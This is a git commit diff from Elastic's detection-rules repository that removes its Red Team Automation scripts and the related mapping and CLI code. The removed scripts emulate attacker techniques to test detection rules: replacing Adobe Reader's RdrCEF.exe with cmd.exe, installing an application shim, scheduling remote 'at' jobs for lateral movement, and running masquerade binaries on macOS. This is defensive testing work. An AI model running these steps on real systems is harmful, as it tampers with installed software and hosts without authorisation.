chore: Removing RTAs (#4437)

* Delete RTAs

* Delete RTA-related orchestration code

* Drop RTAs from tests

* Remove RTAs from README

* Further cleanup

* Readme update

* Version bump and no more RTAs

* Styling fixes

* Drop RTAs from config files

* Drop `rule-mapping.yaml`

* Bring back event collector / normalizer

* Drop rta mention

* Cleanup rta leftovers

* Style fix

---------

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>
This commit is contained in:
Sergey Polzunov
2025-03-05 12:35:57 +01:00
committed by GitHub
parent 49c361dd98
commit 5f54eb8006
659 changed files with 29 additions and 27100 deletions
-1
View File
@@ -5,7 +5,6 @@ tests/**/*.py @mikaayenson @eric-forte-elastic @terrancedejesus
detection_rules/ @mikaayenson @eric-forte-elastic @terrancedejesus
tests/ @mikaayenson @eric-forte-elastic @terrancedejesus
lib/ @mikaayenson @eric-forte-elastic @terrancedejesus
rta/ @mikaayenson @eric-forte-elastic @terrancedejesus
hunting/ @mikaayenson @eric-forte-elastic @terrancedejesus
# skip rta-mapping to avoid the spam
-2
View File
@@ -12,8 +12,6 @@
- "detection_rules/**/*.py"
- "kibana/**/*.py"
- "kql/**/*.py"
- "RTA":
- "rta/**/*"
- "Hunting":
- "hunting/**/*"
+4 -4
View File
@@ -6,21 +6,21 @@ repos:
hooks:
- id: flake8
args: ['--ignore=D203,C901,E501,W503', '--max-line-length=120','--max-complexity=10', '--statistics']
exclude: '^rta|^kql'
exclude: '^kql'
- repo: https://github.com/PyCQA/bandit
rev: 1.7.4
hooks:
- id: bandit
args: ['-s', 'B101,B603,B404,B607']
exclude: '^rta|^kql'
exclude: '^kql'
# Potential future rigor
# - repo: https://github.com/PyCQA/pylint
# rev: v2.15.6
# hooks:
# - id: pylint
# language: system
# exclude: '^rta|^kql'
# exclude: '^kql'
# - repo: https://github.com/PyCQA/isort
# rev: 5.10.1
# hooks:
# - id: isort
# - id: isort
+7 -2
View File
@@ -16,6 +16,7 @@ This repository was first announced on Elastic's blog post, [Elastic Security op
- [Overview of this repository](#overview-of-this-repository)
- [Getting started](#getting-started)
- [How to contribute](#how-to-contribute)
- [RTAs](#rtas)
- [Licensing](#licensing)
- [Questions? Problems? Suggestions?](#questions-problems-suggestions)
@@ -31,7 +32,6 @@ Detection Rules contains more than just static rule files. This repository also
| [`hunting/`](./hunting/) | Root directory where threat hunting package and queries are stored |
| [`kibana/`](lib/kibana) | Python library for handling the API calls to Kibana and the Detection Engine |
| [`kql/`](lib/kql) | Python library for parsing and validating Kibana Query Language |
| [`rta/`](rta) | Red Team Automation code used to emulate attacker techniques, used for rule testing |
| [`rules/`](rules) | Root directory where rules are stored |
| [`rules_building_block/`](rules_building_block) | Root directory where building block rules are stored |
| [`tests/`](tests) | Python code for unit testing rules |
@@ -133,9 +133,14 @@ For more advanced command line interface (CLI) usage, refer to the [CLI guide](C
We welcome your contributions to Detection Rules! Before contributing, please familiarize yourself with this repository, its [directory structure](#overview-of-this-repository), and our [philosophy](PHILOSOPHY.md) about rule creation. When you're ready to contribute, read the [contribution guide](CONTRIBUTING.md) to learn how we turn detection ideas into production rules and validate with testing.
## RTAs
Red Team Automations (RTAs) used to emulate attacker techniques and verify the rules can be found in dedicated
repository - [Cortado](https://github.com/elastic/cortado).
## Licensing
Everything in this repository — rules, code, RTA, etc. — is licensed under the [Elastic License v2](LICENSE.txt). These rules are designed to be used in the context of the Detection Engine within the Elastic Security application. If youre using our [Elastic Cloud managed service](https://www.elastic.co/cloud/) or the default distribution of the Elastic Stack software that includes the [full set of free features](https://www.elastic.co/subscriptions), youll get the latest rules the first time you navigate to the detection engine.
Everything in this repository — rules, code, etc. — is licensed under the [Elastic License v2](LICENSE.txt). These rules are designed to be used in the context of the Detection Engine within the Elastic Security application. If youre using our [Elastic Cloud managed service](https://www.elastic.co/cloud/) or the default distribution of the Elastic Stack software that includes the [full set of free features](https://www.elastic.co/subscriptions), youll get the latest rules the first time you navigate to the detection engine.
Occasionally, we may want to import rules from another repository that already have a license, such as MIT or Apache 2.0. This is welcome, as long as the license permits sublicensing under the Elastic License v2. We keep those license notices in `NOTICE.txt` and sublicense as the Elastic License v2 with all other rules. We also require contributors to sign a [Contributor License Agreement](https://www.elastic.co/contributor-agreement) before contributing code to any Elastic repositories.
-2
View File
@@ -19,7 +19,6 @@ from . import ( # noqa: E402
ghwrap,
kbwrap,
main,
mappings,
ml,
misc,
navigator,
@@ -37,7 +36,6 @@ __all__ = (
'eswrap',
'ghwrap',
'kbwrap',
'mappings',
"main",
'misc',
'ml',
-3
View File
@@ -265,7 +265,4 @@ def rule_prompt(path=None, rule_type=None, required_only=True, save=True, verbos
print('Did not set the following values because they are un-required when set to the default value')
print(' - {}'.format('\n - '.join(skipped)))
# rta_mappings.add_rule_to_mapping_file(rule)
# click.echo('Placeholder added to rule-mapping.yaml')
return rule
-22
View File
@@ -77,7 +77,6 @@ class PackageDocument(xlsxwriter.Workbook):
self.add_summary()
self.add_rule_details()
self.add_attack_matrix()
self.add_rta_mapping()
self.add_rule_details(self.deprecated_rules, 'Deprecated Rules')
def add_summary(self):
@@ -172,27 +171,6 @@ class PackageDocument(xlsxwriter.Workbook):
worksheet.autofilter(0, 0, len(rules) + 1, len(headers) - 1)
def add_rta_mapping(self):
"""Add a worksheet for the RTA/Rule RTA mapping."""
from .rule_loader import rta_mappings
worksheet = self.add_worksheet('RTA Mapping')
worksheet.freeze_panes(1, 0)
headers = ('Rule ID', 'Rule Name', 'RTA')
for column, header in enumerate(headers):
worksheet.write(0, column, header, self.default_header_format)
row = 1
for rule_id, mapping in rta_mappings.get_rta_mapping().items():
worksheet.write(row, 0, rule_id)
worksheet.write(row, 1, mapping['rule_name'])
worksheet.write(row, 2, mapping['rta_name'])
row += 1
worksheet.set_column(0, 0, 35)
worksheet.set_column(1, 1, 50)
worksheet.set_column(2, 2, 35)
def add_attack_matrix(self):
"""Add a worksheet for ATT&CK coverage."""
worksheet = self.add_worksheet(attack_tm + ' Coverage')
+13 -18
View File
@@ -21,9 +21,9 @@ from .config import parse_rules_config
from .main import root
from .misc import add_params, client_error, elasticsearch_options, get_elasticsearch_client, nested_get
from .rule import TOMLRule
from .rule_loader import rta_mappings, RuleCollection
from .utils import format_command_options, normalize_timing_and_sort, unix_time_to_formatted, get_path
from .rule_loader import RuleCollection
from .utils import format_command_options, normalize_timing_and_sort, unix_time_to_formatted, get_path
COLLECTION_DIR = get_path('collections')
MATCH_ALL = {'bool': {'filter': [{'match_all': {}}]}}
@@ -60,7 +60,7 @@ def parse_unique_field_results(rule_type: str, unique_fields: List[str], search_
return {'results': parsed_results} if parsed_results else {}
class RtaEvents:
class Events:
"""Events collected from Elasticsearch."""
def __init__(self, events):
@@ -87,7 +87,7 @@ class RtaEvents:
os.makedirs(dump_dir, exist_ok=True)
return dump_dir
def evaluate_against_rule_and_update_mapping(self, rule_id, rta_name, verbose=True):
def evaluate_against_rule(self, rule_id, verbose=True):
"""Evaluate a rule against collected events and update mapping."""
from .utils import combine_sources, evaluate
@@ -96,15 +96,10 @@ class RtaEvents:
merged_events = combine_sources(*self.events.values())
filtered = evaluate(rule, merged_events, normalize_kql_keywords=RULES_CONFIG.normalize_kql_keywords)
if filtered:
sources = [e['agent']['type'] for e in filtered]
mapping_update = rta_mappings.add_rule_to_mapping_file(rule, len(filtered), rta_name, *sources)
if verbose:
click.echo('Matching results found')
if verbose:
click.echo('Updated rule-mapping file with: \n{}'.format(json.dumps(mapping_update, indent=2)))
else:
if verbose:
click.echo('No updates to rule-mapping file; No matching results')
return filtered
def echo_events(self, pager=False, pretty=True):
"""Print events to stdout."""
@@ -322,8 +317,8 @@ class CollectEvents(object):
return survey_results
class CollectRtaEvents(CollectEvents):
"""Collect RTA events from elasticsearch."""
class CollectEventsWithDSL(CollectEvents):
"""Collect events from elasticsearch."""
@staticmethod
def _group_events_by_type(events):
@@ -340,7 +335,7 @@ class CollectRtaEvents(CollectEvents):
results = self.search(dsl, language='dsl', index=indexes, start_time=start_time, end_time='now', size=5000,
sort=[{'@timestamp': {'order': 'asc'}}])
events = self._group_events_by_type(results)
return RtaEvents(events)
return Events(events)
@root.command('normalize-data')
@@ -348,7 +343,7 @@ class CollectRtaEvents(CollectEvents):
def normalize_data(events_file):
"""Normalize Elasticsearch data timestamps and sort."""
file_name = os.path.splitext(os.path.basename(events_file.name))[0]
events = RtaEvents({file_name: [json.loads(e) for e in events_file.readlines()]})
events = Events({file_name: [json.loads(e) for e in events_file.readlines()]})
events.save(dump_dir=os.path.dirname(events_file.name))
@@ -383,7 +378,7 @@ def collect_events(ctx, host_id, query, index, rta_name, rule_id, view_events):
dsl['bool'].setdefault('filter', []).append({'bool': {'should': [{'match_phrase': {'host.id': host_id}}]}})
try:
collector = CollectRtaEvents(client)
collector = CollectEventsWithDSL(client)
start = time.time()
click.pause('Press any key once detonation is complete ...')
start_time = f'now-{round(time.time() - start) + 5}s'
@@ -391,7 +386,7 @@ def collect_events(ctx, host_id, query, index, rta_name, rule_id, view_events):
events.save(rta_name=rta_name, host_id=host_id)
if rta_name and rule_id:
events.evaluate_against_rule_and_update_mapping(rule_id, rta_name)
events.evaluate_against_rule(rule_id)
if view_events and events.events:
events.echo_events(pager=True)
-2
View File
@@ -1,2 +0,0 @@
---
{}
-27
View File
@@ -27,7 +27,6 @@ from .config import load_current_package_version, parse_rules_config
from .generic_loader import GenericCollection
from .exception import (TOMLExceptionContents,
build_exception_objects, parse_exceptions_results_from_api)
from .mappings import build_coverage_map, get_triggered_rules, print_converage_summary
from .misc import (
add_client, client_error, nested_set, parse_user_config
)
@@ -696,29 +695,3 @@ def prep_rule(author: str):
updated_rule.write_text(json.dumps(template_rule, sort_keys=True))
click.echo(f'Rule saved to: {updated_rule}. Import this to Kibana to create alerts on all dnstwist-* indexes')
click.echo('Note: you only need to import and enable this rule one time for all dnstwist-* indexes')
@root.group('rta')
def rta_group():
"""Commands related to Red Team Automation (RTA) scripts."""
# create command to show rule-rta coverage
@rta_group.command('coverage')
@click.option("-o", "--os-filter", default="all",
help="Filter rule coverage summary by OS. (E.g. windows) Default: all")
def rta_coverage(os_filter: str):
"""Show coverage of RTA / rules by os type."""
# get all rules
all_rules = RuleCollection.default()
# get rules triggered by RTA
triggered_rules = get_triggered_rules()
# build coverage map
coverage_map = build_coverage_map(triggered_rules, all_rules)
# # print summary
all_rule_count = len(all_rules.rules)
print_converage_summary(coverage_map, all_rule_count, os_filter)
-154
View File
@@ -1,154 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
"""RTA to rule mappings."""
from collections import defaultdict
from pathlib import Path
from rta import get_available_tests
from .rule import TOMLRule
from .schemas import validate_rta_mapping
from .utils import get_path, load_etc_dump, save_etc_dump
RTA_DIR = get_path("rta")
RTA_PLATFORM_TYPES = ["windows", "linux", "macos"]
class RtaMappings:
"""Rta-mapping helper class."""
def __init__(self):
"""Rta-mapping validation and prep."""
self.mapping: dict = load_etc_dump('rule-mapping.yaml')
self.validate()
self._rta_mapping = defaultdict(list)
self._remote_rta_mapping = {}
self._rule_mappings = {}
def validate(self):
"""Validate mapping against schema."""
for k, v in self.mapping.items():
validate_rta_mapping(v)
def add_rule_to_mapping_file(self, rule, rta_name, count=0, *sources):
"""Insert a rule mapping into the mapping file."""
mapping = self.mapping
rule_map = {
'count': count,
'rta_name': rta_name,
'rule_name': rule.name,
}
if sources:
rule_map['sources'] = list(sources)
mapping[rule.id] = rule_map
self.mapping = dict(sorted(mapping.items()))
save_etc_dump(self.mapping, 'rule-mapping.yaml')
return rule_map
def get_rta_mapping(self):
"""Build the rule<-->rta mapping based off the mapping file."""
if not self._rta_mapping:
self._rta_mapping = self.mapping.copy()
return self._rta_mapping
def get_rta_files(self, rta_list=None, rule_ids=None):
"""Get the full paths to RTA files, given a list of names or rule ids."""
full_rta_mapping = self.get_rta_mapping()
rta_files = set()
rta_list = set(rta_list or [])
if rule_ids:
for rule_id, rta_map in full_rta_mapping.items():
if rule_id in rule_ids:
rta_list.update(rta_map)
for rta_name in rta_list:
# rip off the extension and add .py
rta_name = Path(rta_name).stem
rta_path = (RTA_DIR / rta_name).with_suffix(".py").resolve()
if rta_path.exists():
rta_files.add(rta_path)
return list(sorted(rta_files))
def get_triggered_rules() -> dict:
"""Get the rules that are triggered by each RTA."""
triggered_rules = {}
for rta_test in list(get_available_tests().values()):
for rule_info in rta_test.get("siem", []):
rule_id = rule_info.get("rule_id")
for platform in rta_test.get("platforms", []):
triggered_rules.setdefault(platform, []).append(rule_id)
return triggered_rules
def get_platform_list(rule: TOMLRule) -> list:
"""Get the list of OSes for a rule."""
os_list = []
if rule.contents.metadata.os_type_list:
os_list = [r.lower() for r in rule.contents.metadata.os_list]
elif rule.contents.data.tags:
tags = [t.lower() for t in rule.contents.data.tags]
os_list = [t for t in RTA_PLATFORM_TYPES if t in tags]
return os_list
def build_coverage_map(triggered_rules: dict, all_rules) -> dict:
"""Get the rules that are not covered by each rta."""
# avoid a circular import
from .rule_loader import RuleCollection
all_rules: RuleCollection
coverage_map = {"all": 0}
for rule in all_rules.rules:
rule_covered = False
os_list = get_platform_list(rule)
for os_type in os_list:
prefix = ""
if rule.contents.metadata.maturity == "development":
prefix = "DIAG : "
elif rule.contents.metadata.maturity == "deprecated":
prefix = "DEPR : "
if rule.id in triggered_rules[os_type]:
coverage_map.setdefault(os_type, {}).setdefault("supported", []).append(f"- [x] {prefix}{rule.name}")
rule_covered = True
else:
coverage_map.setdefault(os_type, {}).setdefault("unsupported", []).append(f"- [ ] {prefix}{rule.name}")
if rule_covered:
coverage_map["all"] += 1
return coverage_map
def print_converage_summary(coverage_map: dict, all_rule_count: int, os_filter: str):
"""Print the coverage summary."""
print("\n\nCoverage Report\n")
supported_count = coverage_map["all"]
print(f"{supported_count} / {all_rule_count} unique detection rules are supported by RTAs for all OS types")
for os_type, results in coverage_map.items():
if os_type != "all" and (os_type == os_filter or os_filter == "all"):
supported = results["supported"]
unsupported = results["unsupported"]
print(f"\n{os_type} coverage: {len(supported)} / {len(supported) + len(unsupported)}")
print("Supported:")
for rule in sorted(set(supported)):
print(f"\t{rule}")
print("Unsupported:")
for rule in sorted(set(unsupported)):
print(f"\t{rule}")
-4
View File
@@ -17,7 +17,6 @@ from marshmallow.exceptions import ValidationError
from . import utils
from .config import parse_rules_config
from .mappings import RtaMappings
from .rule import (
DeprecatedRule, DeprecatedRuleContents, DictRule, TOMLRule, TOMLRuleContents
)
@@ -629,8 +628,6 @@ def load_github_pr_rules(labels: list = None, repo: str = 'elastic/detection-rul
return new, modified, errors
rta_mappings = RtaMappings()
__all__ = (
"FILE_PATTERN",
"DEFAULT_PREBUILT_RULES_DIRS",
@@ -643,5 +640,4 @@ __all__ = (
"metadata_filter",
"production_filter",
"dict_filter",
"rta_mappings"
)
-2
View File
@@ -13,7 +13,6 @@ from semver import Version
from ..config import load_current_package_version, parse_rules_config
from ..utils import cached, get_etc_path
from . import definitions
from .rta_schema import validate_rta_mapping
from .stack_compat import get_incompatible_fields
@@ -25,7 +24,6 @@ __all__ = (
"get_min_supported_stack_version",
"get_stack_schemas",
"get_stack_versions",
"validate_rta_mapping",
"all_versions",
)
-24
View File
@@ -1,24 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import jsl
import jsonschema
class MappingCount(jsl.Document):
"""Mapping count schema."""
count = jsl.IntField(minimum=0, required=True)
rta_name = jsl.StringField(pattern=r'[a-zA-Z-_]+', required=True)
rule_name = jsl.StringField(required=True)
sources = jsl.ArrayField(jsl.StringField(), min_items=1)
mapping_schema = MappingCount.get_schema()
def validate_rta_mapping(mapping):
"""Validate the RTA mapping."""
jsonschema.validate(mapping, mapping_schema)
+2 -2
View File
@@ -1,6 +1,6 @@
[project]
name = "detection_rules"
version = "0.4.16"
version = "0.4.17"
description = "Detection Rules is the home for rules used by Elastic Security. This repository is used for the development, maintenance, testing, validation, and release of rules for Elastic Securitys Detection Engine."
readme = "README.md"
requires-python = ">=3.12"
@@ -54,7 +54,7 @@ hunting = ["tabulate==0.9.0"]
[tool.setuptools]
package-data = {"kql" = ["*.g"]}
packages = ["detection_rules", "rta", "hunting"]
packages = ["detection_rules", "hunting"]
[tool.pytest.ini_options]
filterwarnings = [
-25
View File
@@ -1,25 +0,0 @@
## Red Team Automation
[![Supported Python versions](https://img.shields.io/badge/python-3.7+-yellow.svg)](https://www.python.org/downloads/)
[![Chat](https://img.shields.io/badge/chat-%23security--detection--rules-blueviolet)](https://ela.st/slack)
The repo comes with some red team automation ([RTA](./)) python scripts that run on Windows, Mac OS, and \*nix.
RTA scripts emulate known attacker behaviors and are an easy way too verify that your rules are active and working as expected.
```console
$ python -m rta -h
usage: rta [-h] ttp_name
positional arguments:
ttp_name
optional arguments:
-h, --help show this help message and exit
```
`ttp_name` can be found in the [rta](.) directory. For example to execute `./rta/wevtutil_log_clear.py` script, run command:
```console
$ python -m rta wevtutil_log_clear
```
Most of the RTA scripts contain a comment with the rule name, in `signal.rule.name`, that maps to the Kibana Detection Signals.
-100
View File
@@ -1,100 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import importlib
import inspect
from dataclasses import asdict, dataclass, field
from pathlib import Path
from typing import Dict, List, Optional
from . import common
# Definitions
CURRENT_DIR = Path(__file__).resolve().parent
RULE_META_KEYS = ["rule_id", "rule_name"]
@dataclass
class RtaMetadata:
"""Metadata associated with all RTAs."""
uuid: str
platforms: List[str]
path: Path = field(init=False)
name: str = field(init=False)
endpoint: Optional[List[Dict[str, str]]] = None
siem: Optional[List[Dict[str, str]]] = None
techniques: Optional[List[str]] = None
def __post_init__(self):
"""Set the path and name based on the callee and check for platforms."""
# Set the path of the callee
for frame in inspect.stack():
self.path = Path(frame.filename)
self.name = self.path.name
if frame.function == "<module>" and valid_rta_file(self.path):
break
# Check for valid platforms
if not self.platforms and (self.endpoint or self.siem):
raise ValueError(f"RTA {self.name} has no platforms specified but has rule info provided.")
# Check for valid rule metadata
self._validate_rule_metadata(self.endpoint, "endpoint")
self._validate_rule_metadata(self.siem, "siem")
def _validate_rule_metadata(self, rules: Optional[List[Dict[str, str]]], field_name: str):
"""Check for valid rule metadata"""
if rules:
for rule in rules:
if sorted(rule.keys()) != RULE_META_KEYS:
raise ValueError(f"RTA {self.name} has invalid {field_name} field in metadata.")
def valid_rta_file(file_path: str) -> bool:
return file_path.stem not in ["init", "common", "main"] and not file_path.name.startswith("_")
def get_available_tests(print_list: bool = False, os_filter: str = None) -> Dict[str, dict]:
"""Get a list of available tests."""
test_metadata = {}
for file in CURRENT_DIR.rglob("*.py"):
if valid_rta_file(file):
module = importlib.import_module(f"rta.{file.stem}")
if os_filter and os_filter not in module.metadata.platforms and os_filter != "all":
continue
test_metadata[file.stem] = asdict(module.metadata)
if print_list:
py_ext = 3 # account for the .py ext
longest_test_name = len(max(test_metadata.keys(), key=len)) + py_ext
header = f"{'name':{longest_test_name}} | {'platforms':<21} | {'rule id':<36} | {'rule name':<30}"
print("Printing available tests")
print(header)
print("=" * len(header))
for test in test_metadata.values():
rule_list = []
if test['endpoint'] and test['siem']:
rule_list = test['endpoint'] + test['siem']
elif test['endpoint']:
rule_list = test['endpoint']
elif test['siem']:
rule_list = test['siem']
else:
rule_list = [{"rule_name": "", "rule_id": ""}]
print(f"{test['name']:<{longest_test_name}} | {', '.join(test['platforms']):<21} | {rule_list[0]['rule_id']:36} | {rule_list[0]['rule_name']}")
for rule in rule_list[1:]:
print(f"{'':<{longest_test_name}} | {'':<21} | {rule['rule_id']:36} | {rule['rule_name']}")
return test_metadata
__all__ = "common"
-77
View File
@@ -1,77 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import argparse
import difflib
import importlib
import subprocess
import sys
import time
from pathlib import Path
from . import get_available_tests
from .common import CURRENT_OS
DELAY = 1
RTA_PLATFORM_TYPES = ["windows", "linux", "macos"]
def run_all():
"""Run a single RTA."""
errors = []
for ttp_file in get_available_tests(os_filter=CURRENT_OS):
print(f"---- {Path(ttp_file).name} ----")
p = subprocess.Popen([sys.executable, "-m", "rta", "-n", ttp_file])
p.wait()
code = p.returncode
if p.returncode:
errors.append((ttp_file, code))
time.sleep(DELAY)
print("")
return len(errors)
def run(ttp_name: str, *args):
"""Run all RTAs compatible with OS."""
ttp_names = sorted(get_available_tests())
if ttp_name not in ttp_names:
suggestion = ', '.join(difflib.get_close_matches(ttp_name, ttp_names, n=3))
if suggestion:
suggestion = f"Did you mean {suggestion}?"
raise ValueError(f"Unknown RTA {ttp_name}. {suggestion}")
module = importlib.import_module("rta." + ttp_name)
return module.main(*args)
if __name__ == "__main__":
parser = argparse.ArgumentParser("rta")
parser.add_argument("-n", "--name", dest="name", nargs='+',
help="Name(s) of test(s) to execute. E.g. bitsadmin_execution adobe_hijack")
parser.add_argument("-l", "--list", dest="list", action="store_true", help="Print a list of available tests")
parser.add_argument("-o", "--os-filter", dest="os_filter", default="all", choices=RTA_PLATFORM_TYPES,
help="Filter rule coverage summary by OS. (E.g. windows) Default: all",)
parser.add_argument("--run-all", action="store_true")
parser.add_argument("--delay", type=int, help="For run-all, the delay between executions")
parsed_args, remaining = parser.parse_known_args()
if parsed_args.name:
if parsed_args.run_all:
raise ValueError(f"Pass ttp --name or --run-all, not both")
else:
for rta_test in parsed_args.name:
rta_name = Path(rta_test).stem
exit(run(rta_name, *remaining))
elif parsed_args.list:
get_available_tests(print_list=True, os_filter=parsed_args.os_filter)
elif parsed_args.run_all:
exit(run_all())
else:
print("Execute 'python -m rta -h' to see available options")
-55
View File
@@ -1,55 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: Adobe Hijack Persistence
# ATT&CK: T1044
# Description: Replaces PE file that will run on Adobe Reader start.
import sys
from pathlib import Path
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="2df08481-31db-44a8-b01d-1c0df827bddb",
platforms=["windows"],
endpoint=[],
siem=[{"rule_id": "2bf78aa2-9c56-48de-b139-f169bf99cf86", "rule_name": "Adobe Hijack Persistence"}],
techniques=["T1574"],
)
@common.requires_os(*metadata.platforms)
def main() -> None:
rdr_cef_dir = Path("C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF")
rdrcef_exe = rdr_cef_dir / "RdrCEF.exe"
cmd_path = "C:\\Windows\\System32\\cmd.exe"
backup = Path("xxxxxx").resolve()
backedup = False
# backup original if it exists
if rdrcef_exe.is_file():
common.log(f"{rdrcef_exe} already exists, backing up file.")
common.copy_file(rdrcef_exe, backup)
backedup = True
else:
common.log(f"{rdrcef_exe} doesn't exist. Creating path.")
rdr_cef_dir.mkdir(parents=True)
# overwrite original
common.copy_file(cmd_path, rdrcef_exe)
# cleanup
if backedup:
common.log("Putting back backup copy.")
common.copy_file(backup, rdrcef_exe)
backup.unlink()
else:
common.remove_file(rdrcef_exe)
rdr_cef_dir.rmdir()
if __name__ == "__main__":
sys.exit(main())
-39
View File
@@ -1,39 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="e5d376ae-d634-41fa-903c-42f35736a615",
platforms=["macos"],
endpoint=[],
siem=[
{
"rule_name": "Suspicious Child Process of Adobe Acrobat Reader Update Service",
"rule_id": "f85ce03f-d8a8-4c83-acdc-5c8cd0592be7",
}
],
techniques=["T1068"],
)
@common.requires_os(*metadata.platforms)
def main():
masquerade = "/tmp/com.adobe.ARMDC.SMJobBlessHelper"
common.create_macos_masquerade(masquerade)
# Execute command
common.log("Launching fake com.adobe.ARMDC.SMJobBlessHelper commands to adobe mimic privesc")
common.execute([masquerade, "childprocess", masquerade], timeout=10, kill=True)
# cleanup
common.remove_file(masquerade)
if __name__ == "__main__":
exit(main())
-47
View File
@@ -1,47 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="ea7c50ad-5736-48c7-bf39-50f708710826",
platforms=["macos"],
endpoint=[
{
"rule_name": "Script Execution via macOS Application Bundle",
"rule_id": "94a891a9-3771-4a8c-a6ca-82fa66cfd7e2",
}
],
siem=[],
techniques=["T1553", "T1059"],
)
@common.requires_os(*metadata.platforms)
def main():
# create masquerades
masquerade = "/tmp/launchd"
masquerade2 = "/tmp/bash"
masquerade3 = "/tmp/curl"
common.create_macos_masquerade(masquerade)
common.create_macos_masquerade(masquerade2)
common.create_macos_masquerade(masquerade3)
# Execute command
common.log("Launching fake macOS application bundler commands")
command = f"{masquerade2} test.app/Contents/MacOS/test-psntest"
common.execute([masquerade, "childprocess", command], timeout=10, kill=True)
common.execute([masquerade2, "childprocess", masquerade3], timeout=10, kill=True)
# cleanup
common.remove_file(masquerade)
common.remove_file(masquerade2)
if __name__ == "__main__":
exit(main())
-46
View File
@@ -1,46 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from pathlib import Path
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="9e87748e-9866-4b6b-832d-5cba4dda14e8",
platforms=["macos"],
endpoint=[
{
"rule_name": "Potential Default Application Hijacking",
"rule_id": "5d2c3833-a36a-483a-acea-5bf8cf363a81",
}
],
siem=[],
techniques=["T1574"],
)
@common.requires_os(*metadata.platforms)
def main():
app_dir = Path("/Applications/test/Contents/")
app_dir.mkdir(parents=True, exist_ok=True)
masquerade = str(app_dir / "hijack")
common.create_macos_masquerade(masquerade)
masquerade2 = "/tmp/open"
common.create_macos_masquerade(masquerade2)
# Execute command
common.log("Launching fake open commands to mimic hijacking applications")
command = f"{masquerade2} -a /System/Applications/*"
common.execute([masquerade, "childprocess", command], timeout=10, kill=True)
# cleanup
common.remove_directory(str(app_dir))
common.remove_file(masquerade2)
if __name__ == "__main__":
exit(main())
-44
View File
@@ -1,44 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: Application Compatibility Shims
# RTA: appcompat_shim.py
# ATT&CK: T1138
# Description: Use sdbinst.exe to install a binary patch/application shim.
import time
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="a4a8608e-d94f-4eb1-b500-738328307bbc",
platforms=["windows"],
endpoint=[],
siem=[
{"rule_id": "fd4a992d-6130-4802-9ff8-829b89ae801f", "rule_name": "Potential Application Shimming via Sdbinst"}
],
techniques=["T1546"],
)
SHIM_FILE = common.get_path("bin", "CVE-2013-3893.sdb")
@common.requires_os(*metadata.platforms)
@common.dependencies(SHIM_FILE)
def main():
common.log("Application Compatibility Shims")
common.execute(["sdbinst.exe", "-q", "-p", SHIM_FILE])
time.sleep(2)
common.log("Removing installed shim", log_type="-")
common.execute(["sdbinst.exe", "-u", SHIM_FILE])
if __name__ == "__main__":
exit(main())
-75
View File
@@ -1,75 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: AT Command Lateral Movement
# RTA: at_command.py
# ATT&CK: T1053
# Description: Enumerates at tasks on target host, and schedules an at job for one hour in the future. Then checks the
# status of that task, and deletes the task.
import datetime
import re
import sys
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="961d7a1f-7bad-41d5-a3d9-8e8a2f59a824",
platforms=["windows"],
endpoint=[],
siem=[],
techniques=[]
)
@common.requires_os(*metadata.platforms)
def main(target_host=None):
target_host = target_host or common.get_ip()
host_str = "\\\\%s" % target_host
# Current time at \\localhost is 11/16/2017 11:25:50 AM
code, output = common.execute(["net", "time", host_str])
match = re.search(r"Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)", output)
groups = match.groups()
m, d, y, hh, mm, ss, period = groups
now = datetime.datetime(
month=int(m),
day=int(d),
year=int(y),
hour=int(hh),
minute=int(mm),
second=int(ss),
)
if period == "PM" and hh != "12":
now += datetime.timedelta(hours=12)
# Add one hour
task_time = now + datetime.timedelta(hours=1)
# Round down minutes
time_string = "%d:%d" % (task_time.hour, task_time.minute)
# Enumerate all remote tasks
common.execute(["at.exe", host_str])
# Create a job 1 hour into the future
code, output = common.execute(["at", host_str, time_string, "cmd /c echo hello world"])
if code == 1 and "deprecated" in output:
common.log("Unable to continue RTA. Not supported in this version of Windows")
return common.UNSUPPORTED_RTA
if code == 0:
job_id = re.search("ID = (\d+)", output).group(1)
# Check status and delete
common.execute(["at.exe", host_str, job_id])
common.execute(["at.exe", host_str, job_id, "/delete"])
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
